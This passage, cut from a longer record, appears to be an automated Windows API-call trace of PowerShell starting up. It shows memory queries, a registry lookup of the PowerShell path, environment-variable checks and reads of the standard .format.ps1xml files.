__alignment1=0x0, RegionSize=0x4000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30 [0054.632] VirtualQuery (in: lpAddress=0x22c290, lpBuffer=0x22d150, dwLength=0x30 | out: lpBuffer=0x22d150*(BaseAddress=0x22c000, AllocationBase=0x1b0000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0x4000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30 [0054.632] VirtualQuery (in: lpAddress=0x22c290, lpBuffer=0x22d150, dwLength=0x30 | out: lpBuffer=0x22d150*(BaseAddress=0x22c000, AllocationBase=0x1b0000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0x4000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30 [0054.633] VirtualQuery (in: lpAddress=0x22c290, lpBuffer=0x22d150, dwLength=0x30 | out: lpBuffer=0x22d150*(BaseAddress=0x22c000, AllocationBase=0x1b0000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0x4000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30 [0054.633] VirtualQuery (in: lpAddress=0x22c290, lpBuffer=0x22d150, dwLength=0x30 | out: lpBuffer=0x22d150*(BaseAddress=0x22c000, AllocationBase=0x1b0000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0x4000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30 [0054.633] VirtualQuery (in: lpAddress=0x22c290, lpBuffer=0x22d150, dwLength=0x30 | out: lpBuffer=0x22d150*(BaseAddress=0x22c000, AllocationBase=0x1b0000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0x4000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30 [0054.634] VirtualQuery (in: lpAddress=0x22c290, lpBuffer=0x22d150, dwLength=0x30 | out: lpBuffer=0x22d150*(BaseAddress=0x22c000, AllocationBase=0x1b0000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0x4000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30 [0054.634] VirtualQuery (in: lpAddress=0x22c290, lpBuffer=0x22d150, dwLength=0x30 | out: lpBuffer=0x22d150*(BaseAddress=0x22c000, AllocationBase=0x1b0000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0x4000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30 [0054.634] VirtualQuery (in: lpAddress=0x22c290, lpBuffer=0x22d150, dwLength=0x30 | out: lpBuffer=0x22d150*(BaseAddress=0x22c000, AllocationBase=0x1b0000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0x4000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30 [0054.635] VirtualQuery (in: lpAddress=0x22c290, lpBuffer=0x22d150, dwLength=0x30 | out: lpBuffer=0x22d150*(BaseAddress=0x22c000, AllocationBase=0x1b0000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0x4000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30 [0054.635] VirtualQuery (in: lpAddress=0x22c290, lpBuffer=0x22d150, dwLength=0x30 | out: lpBuffer=0x22d150*(BaseAddress=0x22c000, AllocationBase=0x1b0000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0x4000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30 [0054.635] VirtualQuery (in: lpAddress=0x22c290, lpBuffer=0x22d150, dwLength=0x30 | out: lpBuffer=0x22d150*(BaseAddress=0x22c000, AllocationBase=0x1b0000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0x4000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30 [0054.635] VirtualQuery (in: lpAddress=0x22c290, lpBuffer=0x22d150, dwLength=0x30 | out: lpBuffer=0x22d150*(BaseAddress=0x22c000, AllocationBase=0x1b0000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0x4000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30 [0054.636] VirtualQuery (in: lpAddress=0x22c290, lpBuffer=0x22d150, dwLength=0x30 | out: lpBuffer=0x22d150*(BaseAddress=0x22c000, AllocationBase=0x1b0000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0x4000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30 [0054.639] VirtualQuery (in: lpAddress=0x22c290, lpBuffer=0x22d150, dwLength=0x30 | out: lpBuffer=0x22d150*(BaseAddress=0x22c000, AllocationBase=0x1b0000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0x4000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30 [0054.641] VirtualQuery (in: lpAddress=0x22c2a0, lpBuffer=0x22d160, dwLength=0x30 | out: lpBuffer=0x22d160*(BaseAddress=0x22c000, AllocationBase=0x1b0000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0x4000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30 [0054.642] VirtualQuery (in: lpAddress=0x22c2a0, lpBuffer=0x22d160, dwLength=0x30 | out: lpBuffer=0x22d160*(BaseAddress=0x22c000, AllocationBase=0x1b0000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0x4000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30 [0054.642] VirtualQuery (in: lpAddress=0x22c290, lpBuffer=0x22d150, dwLength=0x30 | out: lpBuffer=0x22d150*(BaseAddress=0x22c000, AllocationBase=0x1b0000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0x4000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30 [0054.643] VirtualQuery (in: lpAddress=0x22c290, lpBuffer=0x22d150, dwLength=0x30 | out: lpBuffer=0x22d150*(BaseAddress=0x22c000, AllocationBase=0x1b0000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0x4000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30 [0054.659] VirtualQuery (in: lpAddress=0x22c290, lpBuffer=0x22d150, dwLength=0x30 | out: lpBuffer=0x22d150*(BaseAddress=0x22c000, AllocationBase=0x1b0000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0x4000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30 [0054.660] VirtualQuery (in: lpAddress=0x22c290, lpBuffer=0x22d150, dwLength=0x30 | out: lpBuffer=0x22d150*(BaseAddress=0x22c000, AllocationBase=0x1b0000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0x4000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30 [0054.660] VirtualQuery (in: lpAddress=0x22c290, lpBuffer=0x22d150, dwLength=0x30 | out: lpBuffer=0x22d150*(BaseAddress=0x22c000, AllocationBase=0x1b0000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0x4000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30 [0054.665] CoTaskMemAlloc (cb=0x104) returned 0x168a30 [0054.665] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x168a30, nSize=0x80 | out: lpBuffer="") returned 0x0 [0054.666] CoTaskMemFree (pv=0x168a30) [0054.667] VirtualQuery (in: lpAddress=0x22c290, lpBuffer=0x22d150, dwLength=0x30 | out: lpBuffer=0x22d150*(BaseAddress=0x22c000, AllocationBase=0x1b0000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0x4000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30 [0054.671] VirtualQuery (in: lpAddress=0x22c290, lpBuffer=0x22d150, dwLength=0x30 | out: lpBuffer=0x22d150*(BaseAddress=0x22c000, AllocationBase=0x1b0000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0x4000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30 [0054.672] VirtualQuery (in: lpAddress=0x22c290, lpBuffer=0x22d150, dwLength=0x30 | out: lpBuffer=0x22d150*(BaseAddress=0x22c000, AllocationBase=0x1b0000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0x4000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30 [0054.672] VirtualQuery (in: lpAddress=0x22c290, lpBuffer=0x22d150, dwLength=0x30 | out: lpBuffer=0x22d150*(BaseAddress=0x22c000, AllocationBase=0x1b0000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0x4000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30 [0054.672] VirtualQuery (in: lpAddress=0x22c290, lpBuffer=0x22d150, dwLength=0x30 | out: lpBuffer=0x22d150*(BaseAddress=0x22c000, AllocationBase=0x1b0000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0x4000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30 [0054.673] VirtualQuery (in: lpAddress=0x22c290, lpBuffer=0x22d150, dwLength=0x30 | out: lpBuffer=0x22d150*(BaseAddress=0x22c000, AllocationBase=0x1b0000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0x4000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30 [0054.673] VirtualQuery (in: lpAddress=0x22c290, lpBuffer=0x22d150, dwLength=0x30 | out: lpBuffer=0x22d150*(BaseAddress=0x22c000, AllocationBase=0x1b0000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0x4000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30 [0054.675] VirtualQuery (in: lpAddress=0x22c290, lpBuffer=0x22d150, dwLength=0x30 | out: lpBuffer=0x22d150*(BaseAddress=0x22c000, AllocationBase=0x1b0000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0x4000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30 [0054.676] VirtualQuery (in: lpAddress=0x22c290, lpBuffer=0x22d150, dwLength=0x30 | out: lpBuffer=0x22d150*(BaseAddress=0x22c000, AllocationBase=0x1b0000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0x4000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30 [0054.677] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="SOFTWARE\\Microsoft\\PowerShell\\1\\ShellIds\\Microsoft.PowerShell", ulOptions=0x0, samDesired=0x20019, phkResult=0x22d748 | out: phkResult=0x22d748*=0x338) returned 0x0 [0054.677] RegQueryValueExW (in: hKey=0x338, lpValueName="path", lpReserved=0x0, lpType=0x22d75c, lpData=0x0, lpcbData=0x22d758*=0x0 | out: lpType=0x22d75c*=0x1, lpData=0x0, lpcbData=0x22d758*=0x74) returned 0x0 [0054.677] RegQueryValueExW (in: hKey=0x338, lpValueName="path", lpReserved=0x0, lpType=0x22d6cc, lpData=0x0, lpcbData=0x22d6c8*=0x0 | out: lpType=0x22d6cc*=0x1, lpData=0x0, lpcbData=0x22d6c8*=0x74) returned 0x0 [0054.677] CoTaskMemAlloc (cb=0x78) returned 0x11c530 [0054.677] RegQueryValueExW (in: hKey=0x338, lpValueName="path", lpReserved=0x0, lpType=0x22d69c, lpData=0x11c530, lpcbData=0x22d698*=0x74 | out: lpType=0x22d69c*=0x1, lpData="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe", lpcbData=0x22d698*=0x74) returned 0x0 [0054.677] CoTaskMemFree (pv=0x11c530) [0054.677] GetFullPathNameW (in: lpFileName="C:\\Windows\\System32\\WindowsPowerShell\\v1.0", nBufferLength=0x105, lpBuffer=0x22d410, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\System32\\WindowsPowerShell\\v1.0", lpFilePart=0x0) returned 0x2a [0054.677] SetErrorMode (uMode=0x1) returned 0x1 [0054.678] GetFileAttributesExW (in: lpFileName="C:\\Windows\\System32\\WindowsPowerShell\\v1.0" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0"), fInfoLevelId=0x0, lpFileInformation=0x22d620 | out: lpFileInformation=0x22d620*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80093051, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x1dba44b2, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1dba44b2, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x1000)) returned 1 [0054.678] SetErrorMode (uMode=0x1) returned 0x1 [0054.678] GetFullPathNameW (in: lpFileName="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\Diagnostics.Format.ps1xml", nBufferLength=0x105, lpBuffer=0x22d410, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\Diagnostics.Format.ps1xml", lpFilePart=0x0) returned 0x44 [0054.678] SetErrorMode (uMode=0x1) returned 0x1 [0054.678] GetFileAttributesExW (in: lpFileName="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\Diagnostics.Format.ps1xml" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\diagnostics.format.ps1xml"), fInfoLevelId=0x0, lpFileInformation=0x22d620 | out: lpFileInformation=0x22d620*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x67d93418, ftCreationTime.dwHighDateTime=0x1ca03f8, ftLastAccessTime.dwLowDateTime=0x67d93418, ftLastAccessTime.dwHighDateTime=0x1ca03f8, ftLastWriteTime.dwLowDateTime=0xe5e03e37, ftLastWriteTime.dwHighDateTime=0x1c9ea0b, nFileSizeHigh=0x0, nFileSizeLow=0x69e2)) returned 1 [0054.678] SetErrorMode (uMode=0x1) returned 0x1 [0054.679] GetFullPathNameW (in: lpFileName="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\WSMan.format.ps1xml", nBufferLength=0x105, lpBuffer=0x22d410, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\WSMan.format.ps1xml", lpFilePart=0x0) returned 0x3e [0054.679] SetErrorMode (uMode=0x1) returned 0x1 [0054.679] GetFileAttributesExW (in: lpFileName="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\WSMan.format.ps1xml" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\wsman.format.ps1xml"), fInfoLevelId=0x0, lpFileInformation=0x22d620 | out: lpFileInformation=0x22d620*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x67f36317, ftCreationTime.dwHighDateTime=0x1ca03f8, ftLastAccessTime.dwLowDateTime=0x67f36317, ftLastAccessTime.dwHighDateTime=0x1ca03f8, ftLastWriteTime.dwLowDateTime=0xe6065417, ftLastWriteTime.dwHighDateTime=0x1c9ea0b, nFileSizeHigh=0x0, nFileSizeLow=0x5fb2)) returned 1 [0054.679] SetErrorMode (uMode=0x1) returned 0x1 [0054.679] GetFullPathNameW (in: lpFileName="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\Certificate.format.ps1xml", nBufferLength=0x105, lpBuffer=0x22d410, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\Certificate.format.ps1xml", lpFilePart=0x0) returned 0x44 [0054.679] SetErrorMode (uMode=0x1) returned 0x1 [0054.679] GetFileAttributesExW (in: lpFileName="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\Certificate.format.ps1xml" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\certificate.format.ps1xml"), fInfoLevelId=0x0, lpFileInformation=0x22d620 | out: lpFileInformation=0x22d620*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x67ddf6d2, ftCreationTime.dwHighDateTime=0x1ca03f8, ftLastAccessTime.dwLowDateTime=0x67ddf6d2, ftLastAccessTime.dwHighDateTime=0x1ca03f8, ftLastWriteTime.dwLowDateTime=0xe5dddcd9, ftLastWriteTime.dwHighDateTime=0x1c9ea0b, nFileSizeHigh=0x0, nFileSizeLow=0x6aca)) returned 1 [0054.679] SetErrorMode (uMode=0x1) returned 0x1 [0054.679] GetFullPathNameW (in: lpFileName="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\DotNetTypes.format.ps1xml", nBufferLength=0x105, lpBuffer=0x22d410, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\DotNetTypes.format.ps1xml", lpFilePart=0x0) returned 0x44 [0054.680] SetErrorMode (uMode=0x1) returned 0x1 [0054.680] GetFileAttributesExW (in: lpFileName="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\DotNetTypes.format.ps1xml" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\dotnettypes.format.ps1xml"), fInfoLevelId=0x0, lpFileInformation=0x22d620 | out: lpFileInformation=0x22d620*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x67e0582f, ftCreationTime.dwHighDateTime=0x1ca03f8, ftLastAccessTime.dwLowDateTime=0x67e0582f, ftLastAccessTime.dwHighDateTime=0x1ca03f8, ftLastWriteTime.dwLowDateTime=0xe5e29f95, ftLastWriteTime.dwHighDateTime=0x1c9ea0b, nFileSizeHigh=0x0, nFileSizeLow=0x11bce)) returned 1 [0054.680] SetErrorMode (uMode=0x1) returned 0x1 [0054.680] GetFullPathNameW (in: lpFileName="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\FileSystem.format.ps1xml", nBufferLength=0x105, lpBuffer=0x22d410, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\FileSystem.format.ps1xml", lpFilePart=0x0) returned 0x43 [0054.680] SetErrorMode (uMode=0x1) returned 0x1 [0054.680] GetFileAttributesExW (in: lpFileName="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\FileSystem.format.ps1xml" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\filesystem.format.ps1xml"), fInfoLevelId=0x0, lpFileInformation=0x22d620 | out: lpFileInformation=0x22d620*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x67e2b98c, ftCreationTime.dwHighDateTime=0x1ca03f8, ftLastAccessTime.dwLowDateTime=0x67e2b98c, ftLastAccessTime.dwHighDateTime=0x1ca03f8, ftLastWriteTime.dwLowDateTime=0xe5e76251, ftLastWriteTime.dwHighDateTime=0x1c9ea0b, nFileSizeHigh=0x0, nFileSizeLow=0x6119)) returned 1 [0054.680] SetErrorMode (uMode=0x1) returned 0x1 [0054.681] GetFullPathNameW (in: lpFileName="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\Help.format.ps1xml", nBufferLength=0x105, lpBuffer=0x22d410, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\Help.format.ps1xml", lpFilePart=0x0) returned 0x3d [0054.681] SetErrorMode (uMode=0x1) returned 0x1 [0054.681] GetFileAttributesExW (in: lpFileName="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\Help.format.ps1xml" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\help.format.ps1xml"), fInfoLevelId=0x0, lpFileInformation=0x22d620 | out: lpFileInformation=0x22d620*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x67e51ae9, ftCreationTime.dwHighDateTime=0x1ca03f8, ftLastAccessTime.dwLowDateTime=0x67e51ae9, ftLastAccessTime.dwHighDateTime=0x1ca03f8, ftLastWriteTime.dwLowDateTime=0xe5e9c3af, ftLastWriteTime.dwHighDateTime=0x1c9ea0b, nFileSizeHigh=0x0, nFileSizeLow=0x3ef37)) returned 1 [0054.681] SetErrorMode (uMode=0x1) returned 0x1 [0054.681] GetFullPathNameW (in: lpFileName="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\PowerShellCore.format.ps1xml", nBufferLength=0x105, lpBuffer=0x22d410, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\PowerShellCore.format.ps1xml", lpFilePart=0x0) returned 0x47 [0054.681] SetErrorMode (uMode=0x1) returned 0x1 [0054.681] GetFileAttributesExW (in: lpFileName="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\PowerShellCore.format.ps1xml" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\powershellcore.format.ps1xml"), fInfoLevelId=0x0, lpFileInformation=0x22d620 | out: lpFileInformation=0x22d620*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x67e9dda3, ftCreationTime.dwHighDateTime=0x1ca03f8, ftLastAccessTime.dwLowDateTime=0x67e9dda3, ftLastAccessTime.dwHighDateTime=0x1ca03f8, ftLastWriteTime.dwLowDateTime=0xe601915b, ftLastWriteTime.dwHighDateTime=0x1c9ea0b, nFileSizeHigh=0x0, nFileSizeLow=0x15e67)) returned 1 [0054.681] SetErrorMode (uMode=0x1) returned 0x1 [0054.681] GetFullPathNameW (in: lpFileName="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\PowerShellTrace.format.ps1xml", nBufferLength=0x105, lpBuffer=0x22d410, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\PowerShellTrace.format.ps1xml", lpFilePart=0x0) returned 0x48 [0054.682] SetErrorMode (uMode=0x1) returned 0x1 [0054.682] GetFileAttributesExW (in: lpFileName="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\PowerShellTrace.format.ps1xml" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\powershelltrace.format.ps1xml"), fInfoLevelId=0x0, lpFileInformation=0x22d620 | out: lpFileInformation=0x22d620*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x67eea05d, ftCreationTime.dwHighDateTime=0x1ca03f8, ftLastAccessTime.dwLowDateTime=0x67eea05d, ftLastAccessTime.dwHighDateTime=0x1ca03f8, ftLastWriteTime.dwLowDateTime=0xe601915b, ftLastWriteTime.dwHighDateTime=0x1c9ea0b, nFileSizeHigh=0x0, nFileSizeLow=0x48b4)) returned 1 [0054.682] SetErrorMode (uMode=0x1) returned 0x1 [0054.682] GetFullPathNameW (in: lpFileName="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\Registry.format.ps1xml", nBufferLength=0x105, lpBuffer=0x22d410, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\Registry.format.ps1xml", lpFilePart=0x0) returned 0x41 [0054.682] SetErrorMode (uMode=0x1) returned 0x1 [0054.682] GetFileAttributesExW (in: lpFileName="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\Registry.format.ps1xml" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\registry.format.ps1xml"), fInfoLevelId=0x0, lpFileInformation=0x22d620 | out: lpFileInformation=0x22d620*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x67eea05d, ftCreationTime.dwHighDateTime=0x1ca03f8, ftLastAccessTime.dwLowDateTime=0x67eea05d, ftLastAccessTime.dwHighDateTime=0x1ca03f8, ftLastWriteTime.dwLowDateTime=0xe603f2b9, ftLastWriteTime.dwHighDateTime=0x1c9ea0b, nFileSizeHigh=0x0, nFileSizeLow=0x4e98)) returned 1 [0054.682] SetErrorMode (uMode=0x1) returned 0x1 [0054.682] CoTaskMemAlloc (cb=0x104) returned 0x168a30 [0054.682] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x168a30, nSize=0x80 | out: lpBuffer="") returned 0x0 [0054.683] CoTaskMemFree (pv=0x168a30) [0054.686] CoTaskMemAlloc (cb=0x104) returned 0x168a30 [0054.686] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x168a30, nSize=0x80 | out: lpBuffer="") returned 0x0 [0054.686] CoTaskMemFree (pv=0x168a30) [0054.686] CoTaskMemAlloc (cb=0x104) returned 0x168a30 [0054.686] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x168a30, nSize=0x80 | out: lpBuffer="") returned 0x0 [0054.686] CoTaskMemFree (pv=0x168a30) [0054.686] CoTaskMemAlloc (cb=0x104) returned 0x168a30 [0054.686] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x168a30, nSize=0x80 | out: lpBuffer="") returned 0x0 [0054.686] CoTaskMemFree (pv=0x168a30) [0054.687] GetFullPathNameW (in: lpFileName="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\Diagnostics.Format.ps1xml", nBufferLength=0x105, lpBuffer=0x22cd30, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\Diagnostics.Format.ps1xml", lpFilePart=0x0) returned 0x44 [0054.687] SetErrorMode (uMode=0x1) returned 0x1 [0054.687] CreateFileW (lpFileName="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\Diagnostics.Format.ps1xml" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\diagnostics.format.ps1xml"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x30c [0054.687] GetFileType (hFile=0x30c) returned 0x1 [0054.687] SetErrorMode (uMode=0x1) returned 0x1 [0054.687] GetFileType (hFile=0x30c) returned 0x1 [0054.687] ReadFile (in: hFile=0x30c, lpBuffer=0x329cba0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x22d2b8, lpOverlapped=0x0 | out: lpBuffer=0x329cba0*, lpNumberOfBytesRead=0x22d2b8*=0x1000, lpOverlapped=0x0) returned 1 [0054.688] ReadFile (in: hFile=0x30c, lpBuffer=0x329cba0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x22d2b8, lpOverlapped=0x0 | out: lpBuffer=0x329cba0*, lpNumberOfBytesRead=0x22d2b8*=0x1000, lpOverlapped=0x0) returned 1 [0054.688] ReadFile (in: hFile=0x30c, lpBuffer=0x329cba0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x22d2b8, lpOverlapped=0x0 | out: lpBuffer=0x329cba0*, lpNumberOfBytesRead=0x22d2b8*=0x1000, lpOverlapped=0x0) returned 1 [0054.688] ReadFile (in: hFile=0x30c, lpBuffer=0x329cba0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x22d2b8, lpOverlapped=0x0 | out: lpBuffer=0x329cba0*, lpNumberOfBytesRead=0x22d2b8*=0x1000, lpOverlapped=0x0) returned 1 [0054.689] ReadFile (in: hFile=0x30c, lpBuffer=0x329cba0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x22d2b8, lpOverlapped=0x0 | out: lpBuffer=0x329cba0*, lpNumberOfBytesRead=0x22d2b8*=0x1000, lpOverlapped=0x0) returned 1 [0054.689] ReadFile (in: hFile=0x30c, lpBuffer=0x329cba0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x22d2b8, lpOverlapped=0x0 | out: lpBuffer=0x329cba0*, lpNumberOfBytesRead=0x22d2b8*=0x1000, lpOverlapped=0x0) returned 1 [0054.689] ReadFile (in: hFile=0x30c, lpBuffer=0x329cba0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x22d2b8, lpOverlapped=0x0 | out: lpBuffer=0x329cba0*, lpNumberOfBytesRead=0x22d2b8*=0x9e2, lpOverlapped=0x0) returned 1 [0054.690] ReadFile (in: hFile=0x30c, lpBuffer=0x329c0ea, nNumberOfBytesToRead=0x21e, lpNumberOfBytesRead=0x22d2b8, lpOverlapped=0x0 | out: lpBuffer=0x329c0ea*, lpNumberOfBytesRead=0x22d2b8*=0x0, lpOverlapped=0x0) returned 1 [0054.690] ReadFile (in: hFile=0x30c, lpBuffer=0x329cba0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x22d2b8, lpOverlapped=0x0 | out: lpBuffer=0x329cba0*, lpNumberOfBytesRead=0x22d2b8*=0x0, lpOverlapped=0x0) returned 1 [0054.690] GetFullPathNameW (in: lpFileName="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\Diagnostics.Format.ps1xml", nBufferLength=0x105, lpBuffer=0x22d000, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\Diagnostics.Format.ps1xml", lpFilePart=0x0) returned 0x44 [0054.690] SetErrorMode (uMode=0x1) returned 0x1 [0054.690] GetFileAttributesExW (in: lpFileName="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\Diagnostics.Format.ps1xml" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\diagnostics.format.ps1xml"), fInfoLevelId=0x0, lpFileInformation=0x22d260 | out: lpFileInformation=0x22d260*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x67d93418, ftCreationTime.dwHighDateTime=0x1ca03f8, ftLastAccessTime.dwLowDateTime=0x67d93418, ftLastAccessTime.dwHighDateTime=0x1ca03f8, ftLastWriteTime.dwLowDateTime=0xe5e03e37, ftLastWriteTime.dwHighDateTime=0x1c9ea0b, nFileSizeHigh=0x0, nFileSizeLow=0x69e2)) returned 1 [0054.690] SetErrorMode (uMode=0x1) returned 0x1 [0054.690] GetFullPathNameW (in: lpFileName="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\Diagnostics.Format.ps1xml", nBufferLength=0x105, lpBuffer=0x22cf90, lpFilePart=0x0 | out: 